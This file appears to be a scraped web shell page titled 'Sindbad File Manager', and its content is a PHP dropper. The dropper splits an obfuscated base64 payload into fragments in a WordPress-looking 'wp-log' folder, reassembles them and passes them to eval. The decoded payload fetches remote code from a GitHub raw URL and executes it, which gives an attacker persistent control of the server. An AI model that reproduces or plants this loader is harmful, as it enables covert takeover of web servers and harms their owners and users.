Sindbad~EG File Manager
<?php
// Hata raporlama
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Şifreli base64 string
$encrypted_str = 'LyoqKiovQG51bGw7IC8qKioqKioqKi8gLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKHVybGRlY29kZSh1cmxlbmNvZGUocmF3dXJsZGVjb2RlKHJhd3VybGVuY29kZSgiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2hpbG5ldC9tZXRva2wvbWFpbi9mbS50eHQiKSkpKSkpOy8qKi8=';
// Parça sayısı
$parca_sayisi = 20;
$parca_uzunluk = ceil(strlen($encrypted_str) / $parca_sayisi);
// Klasör oluştur
$dir = 'wp-log';
if (!is_dir($dir)) {
mkdir($dir, 0777, true);
}
// Parçaları oluştur ve yaz
$parca_listesi = [];
for ($i = 0; $i < $parca_sayisi; $i++) {
$parca = substr($encrypted_str, $i * $parca_uzunluk, $parca_uzunluk);
$dosya_adi = $dir . '/parca_' . uniqid() . '.dat';
file_put_contents($dosya_adi, $parca);
$parca_listesi[] = $dosya_adi;
}
// Parça dosya adlarını JSON olarak kaydet
$json_path = $dir . '/parcalar.json';
file_put_contents($json_path, json_encode($parca_listesi));
// Parçaları sırayla oku ve birleştir
$decoded_base64 = '';
$liste = json_decode(file_get_contents($json_path), true);
foreach ($liste as $parca_dosya) {
$decoded_base64 .= file_get_contents($parca_dosya);
}
// Base64 çöz
$kod = base64_decode($decoded_base64);
// Kodu çalıştır
eval($kod);
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists